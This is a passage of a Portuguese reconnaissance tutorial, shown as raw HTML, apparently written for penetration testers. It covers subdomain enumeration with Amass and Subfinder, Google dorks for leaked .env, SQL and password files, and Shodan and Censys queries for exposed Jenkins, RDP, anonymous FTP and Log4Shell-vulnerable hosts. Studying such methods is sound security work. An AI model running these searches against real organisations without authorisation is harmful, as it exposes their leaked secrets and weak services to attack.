&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;.[].name_value&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;amass--enumeração-de-subdomínios&quot;&gt;Amass — Enumeração de Subdomínios&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/owasp-amass/amass&quot;&gt;Amass&lt;/a&gt; é a ferramenta de referência para enumeração passiva de subdomínios. Agrega dezenas de fontes públicas.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Instalação&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;go&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; github.com/owasp-amass/amass/v4/...@master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Enumeração passiva pura (sem brute-force)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; enum&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -passive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; amass_output.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Com todas as fontes de dados (requer API keys)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; enum&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -passive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -config&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ~/.config/amass/config.ini&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; subdomains.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Visualização do grafo de ativos&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; viz&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d3&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; graph.html&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;subfinder--rápido-e-silencioso&quot;&gt;Subfinder — Rápido e Silencioso&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Instalação&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;go&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Enumeração passiva&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;subfinder&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -all&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -recursive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; subfinder_out.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Com resolução automática&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;subfinder&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -all&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dnsx&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -silent&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-2--google-dorks&quot;&gt;Fase 2 — Google Dorks&lt;/h2&gt;
&lt;p&gt;Google Dorks são operadores de busca avançados que revelam informações sensíveis indexadas acidentalmente.&lt;/p&gt;
&lt;h3 id=&quot;dorks-essenciais&quot;&gt;Dorks Essenciais&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Subdomínios e hosts relacionados&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Excluindo o domínio principal (revela subdomínios)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -www&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Arquivos sensíveis expostos&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:pdf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:xls&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:xlsx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:sql&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:env&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Painéis de administração&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:admin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:login&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:dashboard&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intitle:&quot;index of&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Credenciais e configs vazadas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intext:&quot;password&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:conf&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:config&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:bak&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:backup&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:old&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Tecnologia exposta&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intext:&quot;powered by&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intext:&quot;phpMyAdmin&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Endpoints de API&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:/api/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:/v1/&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:/v2/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;automatizando-com-gowitness&quot;&gt;Automatizando com gowitness&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Screenshot de todos os subdomínios encontrados&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; subdomains.txt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gowitness&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --screenshot-path&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ./screenshots/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gowitness&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; report&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; serve&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-3--shodan--censys&quot;&gt;Fase 3 — Shodan &amp;#x26; Censys&lt;/h2&gt;
&lt;p&gt;Motores de busca para dispositivos e serviços expostos na internet.&lt;/p&gt;
&lt;h3 id=&quot;shodan&quot;&gt;Shodan&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Instalação do CLI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; shodan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; YOUR_API_KEY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Busca por organização&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;org:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;Target Company&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Filtrando por ASN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;asn:AS12345&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Serviços específicos expostos&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;hostname:target.com port:22&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;hostname:target.com http.title:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;Dashboard&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Vulnerabilidades conhecidas na infra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;org:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; vuln:CVE-2021-44228&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Download completo dos resultados&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; download&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --limit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1000&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; results.json.gz&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;org:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;Target Company&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; parse&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; results.json.gz&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --fields&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ip_str,port,hostnames,vulns&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;queries-shodan-úteis&quot;&gt;Queries Shodan Úteis&lt;/h3&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Query&lt;/th&gt;&lt;th&gt;O que Encontra&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&quot;Target&quot; http.title:&quot;Jenkins&quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Servidores Jenkins expostos&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&quot;Target&quot; product:&quot;Apache Tomcat&quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Tomcat sem autenticação&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&quot;Target&quot; http.favicon.hash:-1616143106&lt;/code&gt;&lt;/td&gt;&lt;td&gt;GitLab instances&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&quot;Target&quot; port:3389&lt;/code&gt;&lt;/td&gt;&lt;td&gt;RDP exposto&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&quot;Target&quot; ssl.cert.subject.cn:&quot;*.target.com&quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Certificados wildcard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&quot;Target&quot; &quot;220&quot; &quot;230 Login&quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;FTP anônimo ativo&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;censys&quot;&gt;Censys&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# API via Python&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; censys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Busca de hosts por certificado&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;from censys.search import CensysHosts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;h = CensysHosts()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;query = &quot;parsed.names: target.com and services.tls.certificates.leaf_data.subject.organization: \&quot;Target\&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;for hit in h.search(query, pages=3):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    print(hit[&quot;ip&quot;], hit.get(&quot;services&quot;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-4--theharvester&quot;&gt;Fase 4 — theHarvester&lt;/h2&gt;
&lt;p&gt;Coleta emails, nomes, hosts e IPs de fontes públicas.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Instalação&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://github.com/laramies/theHarvester&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; requirements/base.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Coleta básica com múltiplas fontes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester.py&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -b&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; google,bing,linkedin,hunter,anubis,crtsh&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
